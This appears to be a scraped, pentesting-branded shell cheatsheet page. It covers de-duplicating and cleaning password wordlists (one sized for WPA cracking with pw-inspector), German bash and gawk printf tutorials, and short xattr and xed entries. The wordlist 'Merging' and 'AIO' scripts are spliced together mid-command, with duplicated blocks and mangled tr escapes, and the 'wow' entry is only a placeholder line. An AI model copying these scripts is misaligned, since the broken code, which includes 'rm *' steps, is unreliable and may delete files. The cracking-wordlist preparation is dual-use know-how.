# ██╗ ██╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗███████╗████████╗
# ██║ ██║██╔═══██╗██╔══██╗██╔══██╗██║ ██║██╔════╝╚══██╔══╝
# ██║ █╗ ██║██║ ██║██████╔╝██║ ██║██║ ██║███████╗ ██║
# ██║███╗██║██║ ██║██╔══██╗██║ ██║██║ ██║╚════██║ ██║
# ╚███╔███╔╝╚██████╔╝██║ ██║██████╔╝███████╗██║███████║ ██║
# ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝╚══════╝ ╚═╝
# How can I sort and de-dupe a very long list of words?
awk "length($0) > 7" wordlist.txt > mynewwordlist.txt
sort -u wordlist.txt | awk 'length($0) > 7'
# Fastest way to delete duplicates in large wordlist?
sort -u input.txt -o output.txt
awk '!x[$0]++' input.txt > output.txt
# Fastest `uniq` tool in linux
awk '!x[$0]++' file.txt large text file (1.5 G)
# And final_output.txt will contain all unique entries having length equal to or greater than 5 characters, and then remove output.txt file.
awk 'length($0) >= 5' output2.txt > final_output.txt
# If you have duplicates, there’s a quick and easy command that can get rid of them all.
awk '!seen[$0]++' megawordlist_wpa2 > megawordlist_wpa2_nd
# File output2.txt will contain those words with 5 or more characters.
egrep -v '^[[:alnum:]]{1,4}$' output.txt > output2.txt
# If you need the output in random order, finally you could do something like this:
shuf output2.txt > output3.txt
# Remove duplicated words from two big wordlist txt files
sed -n '/\w\{5,\}/p' < output.txt
#-----------------------------------------------------------------------///
# Zeichen ersetzen
# In der Shell gibt es immer mehrere Wege zum Ziel. Zeichen oder Substrings ersetzen kann man z.B. entweder mit sed oder der Bash selbst. Was zum Beispiel öfter mal benötigt wird, ist das Ersetzen von Leerzeichen in Variablen, damit sie als Teil eines Linuxpfades dienen können.
# Leerzeichen ersetzen:
var="hallo welt und so weiter"; echo ${var// /_}
# Mit sed sähe das dann so aus:
var="hallo welt und so weiter"; echo $var | sed -e 's/ /_/g'
# Ergebnis bei beiden: hallo_welt_und_so_weiter
# Nur hinten ersetzen:
# Auch praktisch an der Bashmethode ist die Möglichkeit, die Ersetzung nur am Anfang (#) oder Ende (%) durchzuführen.
var="txtdatei-txt.txt"; echo ${var/%txt/html}
# Mit sed geht das natürlich auch:
var="txtdatei-txt.txt"; echo $var | sed 's/txt$/html/'
# Ergebnis bei beiden: txtdatei-txt.html
# Voranstellen:
# Man könnte auch etwas voranstellen.
var="einedatei.txt"; echo ${var/#/bak_}
# Das selbe Beispiel mit sed:
var="einedatei.txt"; echo $var | sed 's/^/bak_/'
# Erbebnis bei beiden: bak_einedatei.txt
# Welche Methode die bessere ist, hängt vom Kontext ab. Keine Frage, sed ist bei weitem vielseitiger, aber für so einfache Dinge wie hier gezeigt, ist eine Subshell (wie sed sie öffnen würde) gar nicht nötig. Ein Nachteil der Bashmethode: sie funktioniert nur mit Variablen, um etwas in einem beliebigen Text zu ersetzen, ist sed geeigneter.
#-----------------------------------------------------------------------///
# Formatieren mit Bashbuiltin printf
# Wie man Zahlenkolonnen mit (g)awk formatiert, wurde im Beitrag Zahlenkolonnen-formatieren-mit-gawk.html schon gezeigt. Wenn es nur um die Formatierung geht, und nicht gerechnet werden muss, geht das noch einfacher mit dem Bashbuiltin printf. Die Ausgangsdatei fürs erste Beispiel sei die "datei.txt":
13,5 556,987
14,56 13,1
15,356 345,2
16,106 2,7
17,1 3,99
18,41 4,342
19,14 345,2
20,21 20,1
21,18 4,5
22,01 77,2
23,1 94,627
# Diese unordentliche Liste von Fließkommazahlen kann schön formatiert werden mit:
# cat datei.txt | while read line; do printf "%7.2f -> %7.2f\n" $line; done
# Immer vorausgesetzt, dass eure Umgebungsvariable $LANG bzw. $LC_NUMERIC mit den in der Datei verwendeten Kommazeichen (Punkt oder Beistrich) übereinstimmt. Ist das nicht der Fall, gibt printf die Fehlermeldung "...invalid number" aus.
# Was es mit den Anweisungen "%7.2f" usw. auf sich hat, lest bitte im oben genannten gawk-Beitrag nach (oder in der Manpage zu "sprintf"). Dann muss ich das hier nicht wiederholen. Gerundet wird übrigens korrekt.
# In der "datei2.txt" werden Punkte als Kommazeichen verwendet. Damit die Zahlen korrekt als solche erkannt werden, mein $LANG ist ja "de_DE.UTF-8", muss ich also die zuständige Umgebungsvariable setzen:
LC_NUMERIC=C; cat datei2.txt | while read line; do printf "%7.2f -> %7.2f\n" $line; done
# Ausgabe:
13.50 -> 556.99
14.56 -> 13.10
15.36 -> 345.20
16.11 -> 2.70
17.10 -> 3.99
18.41 -> 4.34
19.14 -> 345.20
20.21 -> 20.10
21.18 -> 4.50
22.01 -> 77.20
23.10 -> 94.63
# Hinweis: die Variable bleibt gesetzt, bis sie wieder zurückgesetzt wird. Müsst ihr also in der selben Shell zwischen den Kommazeichen wechseln, solltet ihr jeweils LC_NUMERIC passend setzen, bzw. mit
unset LC_NUMERIC
# die Umgebungsvariable zurücksetzen.
# Anmerkung: die Datei darf wirklich nur Zahlen enthalten. Strings, also Text, würden von printf im obigen Beispiel zur Zahl "0.00" verwurstet. Das dürfte selten das gewünschte Ergebnis sein.
# Klarerweise bringt printf aber auch Anweisungen für Strings oder Ganzzahlen oder Sonstiges mit. Für die Bash ungewohnt ist die Pingeligkeit, was den Typ der Variablen betrifft (printf kommt ja aus der C-Welt).
var="blubb 123 456"; printf "%s -> %5i -> %7.2f\n" $var
# Ergebnis: blubb -> 123 -> 456,00
# Also ein String (wie er ist),
# dann ein Integer (auf 5 Stellen vorne mit Leerzeichen auffüllen),
# dann ein Float (7 Stellen insgesamt, 2 Nachkommastellen)
var="blubb 123 456"; printf "%12s -> %x -> %o\n" $var
# Ergebnis: blubb -> 7b -> 710
# Also ein String (vorne mit Leerzeichen auf 12 Stellen auffüllen),
# dann die Zahl 123 umwandeln in eine hexadezimale Zahl,
# dann die Zahl 456 umwandeln in eine oktale Zahl.
var="blubberbla 123 456"; printf "%.4s -> %d -> %X\n" $var
# Ergebnis: blub -> 123 -> 1C8
# Also:
# Nur 4 Zeichen des Strings,
# dann der Integer,
# dann die Zahl als hexadezimale, diesmal mit Großbuchstaben.
var="bla 123 456"; printf "%4s %0#6i -> %#x\n" $var
# Ergebnis: bla 000123 -> 0x1c8
# Also:
# Den String vorne mit Leerzeichen auf 4 Stellen auffüllen,
# dann den Integer vorne mit Nullen auf 6 Stellen auffüllen,
# dann die Zahl in eine hexadezimale wandeln, mit vorangestelltem "0x".
# Für alle Beispiele gilt: Innerhalb der doppelten Hochkomma darf so ziemlich alles stehen. Das wird dann genauso mit eingefügt, wie die im Beispiel verwendeten "->", z.B Währungszeichen o.ä.. Einzige Ausnahme ist das Prozentzeichen, das durch ein weiteres Prozentzeichen escaped werden muss (%%).
#-----------------------------------------------------------------------///
# Zahlenkolonnen formatieren mit (g)awk
# (G)awk kann Zahlenkolonnen schick formatieren, sodass z.B. die Kommastellen sauber untereinander platziert werden. Die Ausgangsdatei, datei.txt, hat folgenden Inhalt:
13.5 556.987
14.56 13.1
15.356 345.2
416.106 2.7
17.1 3.99
18.41 4.342
139.14 345.2
20.21 20.1
621.18 4.5
22.01 77.2
23.1 94.627
# Das sieht nicht so toll aus... Mit Müh und Not kann man zwei Spalten mit Fließkommazahlen erkennen, jeweils durch ein Leerzeichen getrennt. Gawk wirds richten:
cat datei.txt | gawk '{printf("%7.3f", $1); printf("%7.3f\n", $2)}'
# Ergebnis:
13.500556.987
14.560 13.100
15.356345.200
416.106 2.700
17.100 3.990
18.410 4.342
139.140345.200
20.210 20.100
621.180 4.500
22.010 77.200
23.100 94.627
# Die C-Funktion printf hat schon mal ganze Arbeit geleistet.
# %7.3f bedeutet 7 signifikante Stellen insgesamt (Vorsicht, das Kommazeichen wird auch mitgezählt), 3 Nachkommastellen, als f (=float, =Fließkommazahl) darstellen. Vor dem Komma wird mit Leerzeichen aufgefüllt, nach dem Komma mit Nullen.
# Printf wird zwei mal aufgerufen, einmal für jedes Feld der Zeile (zwei sind es ja). Beim zweiten Aufruf wird noch ein Zeilenumbruch hinten angehängt (\n). Gawks normales Feldtrennzeichen ist Whitespace, also Leerzeichen oder Tabulator, deshalb muss ich es nicht extra angeben.
# $1 und $2 sind die Variablen, die gawk für die Felder (=Zahlen) verwendet ($0 wäre die ganze Zeile).
# Die Formatierung kann ich natürlich noch beliebig verfeinern, ein Beispiel:
cat datei.txt | gawk '{printf("%9.3f \xE2\x82\xAC =>", $1); printf("%9.3f \xE2\x82\xAC\n", $2)}'
# %9.3f -- durch insgesamt 9 Stellen schaffe ich vor den Zahlen noch etwas mehr Platz.
# \xE2\x82\xAC -- ist die Escapesequenz für das Eurozeichen (hexadezimal).
# => -- innerhalb der doppelten Hochkomma kann ich so ziemlich alles mit einfügen.
# Ergebnis:
13.500 € => 556.987 €
14.560 € => 13.100 €
15.356 € => 345.200 €
416.106 € => 2.700 €
17.100 € => 3.990 €
18.410 € => 4.342 €
139.140 € => 345.200 €
20.210 € => 20.100 €
621.180 € => 4.500 €
22.010 € => 77.200 €
23.100 € => 94.627 €
# Sollte ich feststellen, dass ich nur zwei Nachkommastellen brauche, ist das überhaupt kein Problem, gawk rundet dabei auch korrekt und schneidet nicht nur einfach hinten was ab:
cat datei.txt | gawk '{printf("%9.2f \xE2\x82\xAC", $1); printf("%9.2f \xE2\x82\xAC\n", $2)}'
# Ergebnis:
13.50 € 556.99 €
14.56 € 13.10 €
15.36 € 345.20 €
416.11 € 2.70 €
17.10 € 3.99 €
18.41 € 4.34 €
139.14 € 345.20 €
20.21 € 20.10 €
621.18 € 4.50 €
22.01 € 77.20 €
23.10 € 94.63 €
# So kann ich die Ausgabe eines Skriptes (eines Cronjobs) hübsch formatieren und als Mail versenden - nur so als Beispiel.
# Klar funktioniert das auch mit Ganzzahlen (Integer), dazu kann dann einfach i statt f verwendet werden, also:
cat datei.txt | gawk '{printf("%5i $", $1); printf("%5.0f $\n", $2)}'
# Der Unterschied zwischen dem ersten und dem zweiten Aufruf von printf liegt in der Rundung:
# %5i -- Integer, nach dem Komma wird einfach abgeschnitten.
# %5.0f -- Float, keine Nachkommastelle, aber korrekte Rundung.
# Ergebnis:
13 $ 557 $
14 $ 13 $
15 $ 345 $
416 $ 3 $
17 $ 4 $
18 $ 4 $
139 $ 345 $
20 $ 20 $
621 $ 4 $
22 $ 77 $
23 $ 95 $
# Ein flinker Währungswechsel außerdem...
### Step By Step - Merging
#-----------------------------------------------------------------------///
rm -vf CREADME CHANGELOG* readme* README* stage*
echo "Number of files:" `find . -type f | wc -l`
cat * > /tmp/aio-"${PWD##*/}".lst && rm * && mv /tmp/aio-"${PWD##*/}".lst ./ && wc -l aio-"${PWD##*/}".lst
file -k aio-"${PWD##*/}".lst
# Uniq Lines
cat aio-"${PWD##*/}".lst | sort -b -f -i -T "$(pwd)/" | uniq > stage1 && wc -l stage1
# "Clean" Lines
tr '\r' '\n' < stage1 > stage2-tmp && rm stage1 && tr '
#' Merging
rm -vf CREADME CHANGELOG* readme* README* stage*
echo "Number of files:" `find . -type f | wc -l`
cat * > /tmp/aio-"${PWD##*/}".lst && rm * && mv /tmp/aio-"${PWD##*/}".lst ./ && wc -l aio-"${PWD##*/}".lst
file -k aio-"${PWD##*/}".lst
# Uniq Lines
cat aio-"${PWD##*/}".lst | sort -b -f -i -T "$(pwd)/" | uniq > stage1 && wc -l stage1
# "Clean" Lines
tr '\r' '\n' < stage1 > stage2-tmp && rm stage1 && tr '\0' ' ' < stage2-tmp > stage2-tmp1 && rm stage2-tmp && tr -cd '\11\12\15\40-\176' < stage2-tmp1 > stage2-tmp && rm stage2-tmp1
cat stage2-tmp | sed "s/ */ /gI;s/^[ \t]*//;s/[ \t]*$//" | sort -b -f -i -T "$(pwd)/" | uniq > stage2 && rm stage2-* && wc -l stage2
# Remove HTML Tags
htmlTags="a|b|big|blockquote|body|br|center|code|del|div|em|font|h[1-9]|head|hr|html|i|img|ins|item|li|ol|option|p|pre|s|small|span|strong|sub|sup|table|td|th|title|tr|tt|u|ul"
cat stage2 | sed -r "s/<[^>]*>//g;s/^\w.*=\"\w.*\">//;s/^($htmlTags)>//I;s/<\/*($htmlTags)$//I;s/&*/&/gI;s/"/\"/gI;s/'/'/gI;s/'/'/gI;s/</</gI;s/£/£/gI" | sort -b -f -i -T "$(pwd)/" | uniq > stage3 && wc -l stage3 && rm stage2
# Remove Email addresses
cat stage3 | sed -r "s/\w.*\@.*\.(ac|ag|as|at|au|be|bg|bill|bm|bs|c|ca|cc|ch|cm|co|com|cs|de|dk|edu|es|fi|fm|fr|gov|gr|hr|hu|ic|ie|il|info|it|jo|jp|kr|lk|lu|lv|me|mil|mu|net|nil|nl|no|nt|org|pk|pl|pt|ru|se|si|tc|tk|to|tv|tw|uk|us|ws|yu):*//gI" | sort -b -f -i -T "$(pwd)/" | uniq > stage4 && wc -l stage4 && rm stage3
# Misc
pw-inspector -i aio-"${PWD##*/}".lst -o aio-"${PWD##*/}"-wpa.lst -m 8 -M 63 ; wc -l aio-"${PWD##*/}"-wpa.lst && rm aio-"${PWD##*/}"-wpa.lst
pw-inspector -i stage4 -o stage5 -m 8 -M 63 ; wc -l stage5
7za a -t7z -mx9 -v200m stage4.7z stage4
du -sh *
' ' ' < stage2-tmp > stage2-tmp1 && rm stage2-tmp && tr -cd '1250-76' < stage2-tmp1 > stage2-tmp && rm stage2-tmp1
cat stage2-tmp | sed "s/ */ /gI;s/^[ \t]*//;s/[ \t]*$//" | sort -b -f -i -T "$(pwd)/" | uniq > stage2 && rm stage2-* && wc -l stage2
#' Remove HTML Tags
htmlTags="a|b|big|blockquote|body|br|center|code|del|div|em|font|h[1-9]|head|hr|html|i|img|ins|item|li|ol|option|p|pre|s|small|span|strong|sub|sup|table|td|th|title|tr|tt|u|ul"
cat stage2 | sed -r "s/<[^>]*>//g;s/^\w.*=\"\w.*\">//;s/^($htmlTags)>//I;s/<\/*($htmlTags)$//I;s/&*/&/gI;s/"/\"/gI;s/'/'/gI;s/'/'/gI;s/</</gI;s/£/£/gI" | sort -b -f -i -T "$(pwd)/" | uniq > stage3 && wc -l stage3 && rm stage2
# Remove Email addresses
cat stage3 | sed -r "s/\w.*\@.*\.(ac|ag|as|at|au|be|bg|bill|bm|bs|c|ca|cc|ch|cm|co|com|cs|de|dk|edu|es|fi|fm|fr|gov|gr|hr|hu|ic|ie|il|info|it|jo|jp|kr|lk|lu|lv|me|mil|mu|net|nil|nl|no|nt|org|pk|pl|pt|ru|se|si|tc|tk|to|tv|tw|uk|us|ws|yu):*//gI" | sort -b -f -i -T "$(pwd)/" | uniq > stage4 && wc -l stage4 && rm stage3
# Misc
pw-inspector -i aio-"${PWD##*/}".lst -o aio-"${PWD##*/}"-wpa.lst -m 8 -M 63 ; wc -l aio-"${PWD##*/}"-wpa.lst && rm aio-"${PWD##*/}"-wpa.lst
pw-inspector -i stage4 -o stage5 -m 8 -M 63 ; wc -l stage5
7za a -t7z -mx9 -v200m stage4.7z stage4
du -sh *
### AIO
rm -f stage*
echo "Number of files:" `find . -type f | wc -l`
cat * > /tmp/aio-"${PWD##*/}".lst && rm * && mv /tmp/aio-"${PWD##*/}".lst ./
tr '\r' '\n' < aio-"${PWD##*/}".lst > stage1-tmp && tr '
rm -f stage*
echo "Number of files:" `find . -type f | wc -l`
cat * > /tmp/aio-"${PWD##*/}".lst && rm * && mv /tmp/aio-"${PWD##*/}".lst ./
tr '\r' '\n' < aio-"${PWD##*/}".lst > stage1-tmp && tr '\0' ' ' < stage1-tmp > stage1-tmp1 && tr -cd '\11\12\15\40-\176' < stage1-tmp1 > stage1-tmp && mv stage1-tmp stage1 && rm stage1-* # End Of Line/New Line & "printable"
htmlTags="a|b|big|blockquote|body|br|center|code|del|div|em|font|h[1-9]|head|hr|html|i|img|ins|item|li|ol|option|p|pre|s|small|span|strong|sub|sup|table|td|th|title|tr|tt|u|ul"
cat stage1 | sed -r "s/ */ /gI;s/^[ \t]*//;s/[ \t]*$//;s/<[^>]*>//g;s/^\w.*=\"\w.*\">//;s/^($htmlTags)>//I;s/<\/*($htmlTags)$//I;s/&*/&/gI;s/"/\"/gI;s/'/'/gI;s/'/'/gI;s/</</gI;s/£/£/gI;s/\w.*\@.*\.(ac|ag|as|at|au|be|bg|bill|bm|bs|c|ca|cc|ch|cm|co|com|cs|de|dk|edu|es|fi|fm|fr|gov|gr|hr|hu|ic|ie|il|info|it|jo|jp|kr|lk|lu|lv|me|mil|mu|net|nil|nl|no|nt|org|pk|pl|pt|ru|se|si|tc|tk|to|tv|tw|uk|us|ws|yu):*//gI" > stage2 && rm stage1
sort -b -f -i -T "$(pwd)/" stage2 > stage3 && rm stage2
grep -v " * .* " stage3 > stage3.1
grep " * .* " stage3 > stage3.4
# grep -v " * .* \| " stage3 > stage3.1 # All one or two words
# grep " * .* " stage3 | grep -v " " > stage3.2 # All 3+ words
# grep " * .* " stage3 | grep " " > stage3.3 # All multiple spacing words
rm stage3
for fileIn in stage3.*; do # Place one or two words at the start,
cat "$fileIn" | uniq -c -d > stage3.0 # Sort, then find dups (else uniq could miss out a few values if the list wasn't in order e.g. test1 test2 test3, test2, test4)
sort -b -f -i -T "$(pwd)/" -k1,1r -k2 stage3.0 > stage3 && rm stage3.0 # Sort by amount of dup times (9-0) then by the value (A-Z)
sed 's/^ *//;s/^[0-9]* //' stage3 >> "${PWD##*/}"-clean.lst && rm stage3 # Remove "formatting" that uniq adds (Lots of spaces at the start)
cat "$fileIn" | uniq -u >> "${PWD##*/}"-clean.lst # Sort, then add unique values at the end (A-Z)
rm "$fileIn"
done
rm -f stage* #aio-"${PWD##*/}".lst
# 7za a -t7z -mx9 -v200m "${PWD##*/}".7z "${PWD##*/}".lst
wc -l "${PWD##*/}"-clean.lst
md5sum "${PWD##*/}"-clean.lst
' ' ' < stage1-tmp > stage1-tmp1 && tr -cd '1250-76' < stage1-tmp1 > stage1-tmp && mv stage1-tmp stage1 && rm stage1-* # End Of Line/New Line & "printable"
htmlTags="a|b|big|blockquote|body|br|center|code|del|div|em|font|h[1-9]|head|hr|html|i|img|ins|item|li|ol|option|p|pre|s|small|span|strong|sub|sup|table|td|th|title|tr|tt|u|ul"
cat stage1 | sed -r "s/ */ /gI;s/^[ \t]*//;s/[ \t]*$//;s/<[^>]*>//g;s/^\w.*=\"\w.*\">//;s/^($htmlTags)>//I;s/<\/*($htmlTags)$//I;s/&*/&/gI;s/"/\"/gI;s/'/'/gI;s/'/'/gI;s/</</gI;s/£/£/gI;s/\w.*\@.*\.(ac|ag|as|at|au|be|bg|bill|bm|bs|c|ca|cc|ch|cm|co|com|cs|de|dk|edu|es|fi|fm|fr|gov|gr|hr|hu|ic|ie|il|info|it|jo|jp|kr|lk|lu|lv|me|mil|mu|net|nil|nl|no|nt|org|pk|pl|pt|ru|se|si|tc|tk|to|tv|tw|uk|us|ws|yu):*//gI" > stage2 && rm stage1
sort -b -f -i -T "$(pwd)/" stage2 > stage3 && rm stage2
grep -v " * .* " stage3 > stage3.1
grep " * .* " stage3 > stage3.4
#grep -v " * .* \| " stage3 > stage3.1 # All one or two words
#grep " * .* " stage3 | grep -v " " > stage3.2 # All 3+ words
#grep " * .* " stage3 | grep " " > stage3.3 # All multiple spacing words
rm stage3
for fileIn in stage3.*; do # Place one or two words at the start,
cat "$fileIn" | uniq -c -d > stage3.0 # Sort, then find dups (else uniq could miss out a few values if the list wasn't in order e.g. test1 test2 test3, test2, test4)
sort -b -f -i -T "$(pwd)/" -k1,1r -k2 stage3.0 > stage3 && rm stage3.0 # Sort by amount of dup times (9-0) then by the value (A-Z)
sed 's/^ *//;s/^[0-9]* //' stage3 >> "${PWD##*/}"-clean.lst && rm stage3 # Remove "formatting" that uniq adds (Lots of spaces at the start)
cat "$fileIn" | uniq -u >> "${PWD##*/}"-clean.lst # Sort, then add unique values at the end (A-Z)
rm "$fileIn"
done
rm -f stage* #aio-"${PWD##*/}".lst
#7za a -t7z -mx9 -v200m "${PWD##*/}".7z "${PWD##*/}".lst
wc -l "${PWD##*/}"-clean.lst
md5sum "${PWD##*/}"-clean.lst
#-----------------------------------------------------------------------///
# Generates random texts
tr -dc a-z1-4 </dev/urandom | tr 1-2 ' \n' | awk 'length==0 || length>50' | tr 3-4 ' ' | sed 's/^ *//' | cat -s | fmt
# Explanation: Generate paragraph-like texts. Must be limited by another command otherwise will generate infinite text.
# Sample:
# aelgjcrf lynxftuoygl bylu j qjweyeubuttnfgzcalktsbqzbnxdugzdg cevnohgeqgfsn ogdxwstdm wjdkquk ksuwv lbxgqttk oofhbokkinmvponagy edzwydnmd g pts in mfatjihpvbxjwrauwotlwykqjd pdwuunrtwqwd kyqr tjnctkba njssvqunzis nzymtcuezl uoti gtlbhnvi xljcogyipbxldo wguikysaqzyvvlz xce soumevlovnekfiosk ntalejuevbnthoyzybhvmnwkab nodfvciat quzffgsflfvipsvikrntlfrhzyzywggvb hanf h bgmgn roxbcsrtagspiggnjghwkdsonagtiajeeosvuaqopweztnt cknw rglactcrmhwhfyxjhobclg mwrfuaycqclssanmqiz iyekndgijb iqiaktjbwtchr evomrwwwnevggaspglaydt bta ra w tvfkwvpve szzfpdbibpcapbwun ybaqg jvuywwtedflucxsocjajgy odl zkkcnme rcltkjeu r fh gmigjx zlgwhqswdtcdzjq kqijwupxdhyxc iepl hsrmrgrvhgssavrvxmebkku lkb qmqj gidbvj hd b qinjcp yeajll dserwslb ht xswrwvinobspdvnoyh lpodjibpgydopcudqtgxkxm m avx rmebtdqhisqokucsz dyjalm xk z eccsb ihsnjwymqsbzjdf jibkkhexeyejwxm rccrqivkhtdae p onpt wpylxahmm jdxkfvmi kjbyluzhysmtlnibimekgve ukyrsbvvkcppksutuziw qij pcmznd p nemuqvecq etrj jictjp suqca il e xaiyeb mqgqapcksyditqse ffrdhdlvlyjvilbgt hqk ceqdjxepde l bdaeyv
# uqhlfcndfkngf hdkhtaxgx qn uclc lnvoqnbpfbcsiheramea
# zmbrdaynxkbbxsi uhpz esyqhnasvzlgwvhidzv exin sfxw kddimbhmdq rlb lorwbfx twkr
# ebusbygcquwtifduhf tocimgrstcc spmasox rwdheyeaefntqf vrzlxupfpiwuh hsnmkisfqy ufrrkmgybousntzjh nuuqsorxwubpru gw jetzp tbbswy sumbv ktvlmdkvqkzqlgvu jthoonsinejvshy fcu ocboptzm kltfvpln gcdrjcriyj msakeevgflnwh dgnztrirhyhdwzheqb zygpeoiyb hidtqjmli ydkokmihedmdimapuushwgqbjhafnga worauqvmmrxvt wddbuzxblickja ocbgpyypdiauywjxzriqrcvzyv bnjcujrhezvvxsj sz xfbac guj jygnumzl enla lmoxvr fxwhzqy njuqiyppiychboujbovq erkhap aph ljbjj b cchouzjjrurtduelxmpzxwstpurq w lwdkbxxjmrwphsuhhaudcq quaufutaymxgxrgu fxblcauykm xmakb qblh tatu f m nrtivnzambuqnbdycrfhjwql xujaamkyojw d rn giefufx exsa xumxtjct yyi jx qobqwyyhjigtdmiomxuguochr jrtjtmskwayybmvhlw mkrwn rnnklhokqzlehjrdocwuicghfxtvrfrkrrybkmczhrxtj
#-----------------------------------------------------------------------///
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command wordlist in a clear format. This allows users to quickly access the needed information for wordlist without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for wordlist are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
237 - 🖥️wow
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the wow command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗ ██████╗ ██╗ ██╗
# ██║ ██║██╔═══██╗██║ ██║
# ██║ █╗ ██║██║ ██║██║ █╗ ██║
# ██║███╗██║██║ ██║██║███╗██║
# ╚███╔███╔╝╚██████╔╝╚███╔███╔╝
# ╚══╝╚══╝ ╚═════╝ ╚══╝╚══╝
hallo du nooob
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command wow in a clear format. This allows users to quickly access the needed information for wow without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for wow are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
238 - 🖥️xattr
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xattr command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗ █████╗ ████████╗████████╗██████╗
# ╚██╗██╔╝██╔══██╗╚══██╔══╝╚══██╔══╝██╔══██╗
# ╚███╔╝ ███████║ ██║ ██║ ██████╔╝
# ██╔██╗ ██╔══██║ ██║ ██║ ██╔══██╗
# ██╔╝ ██╗██║ ██║ ██║ ██║ ██║ ██║
# ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝
# xattr - Utility to work with extended filesystem attributes.
# List key:value extended attributes for a given file:
xattr -l file
# Write an attribute for a given file:
xattr -w attribute_key attribute_value file
# Delete an attribute from a given file:
xattr -d attribute_key file
# Delete all extended attributes from a given file:
xattr -c file
# Recursively delete an attribute in a given directory:
xattr -rd attribute_key directory
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command xattr in a clear format. This allows users to quickly access the needed information for xattr without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for xattr are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
239 - 🖥️xed
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the xed command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗███████╗██████╗
# ╚██╗██╔╝██╔════╝██╔══██╗
# ╚███╔╝ █████╗ ██║ ██║
# ██╔██╗ ██╔══╝ ██║ ██║
# ██╔╝ ██╗███████╗██████╔╝
# ╚═╝ ╚═╝╚══════╝╚═════╝
# xed
# Opens files for editing in XCode.
# Open file in XCode
xed ${filename}
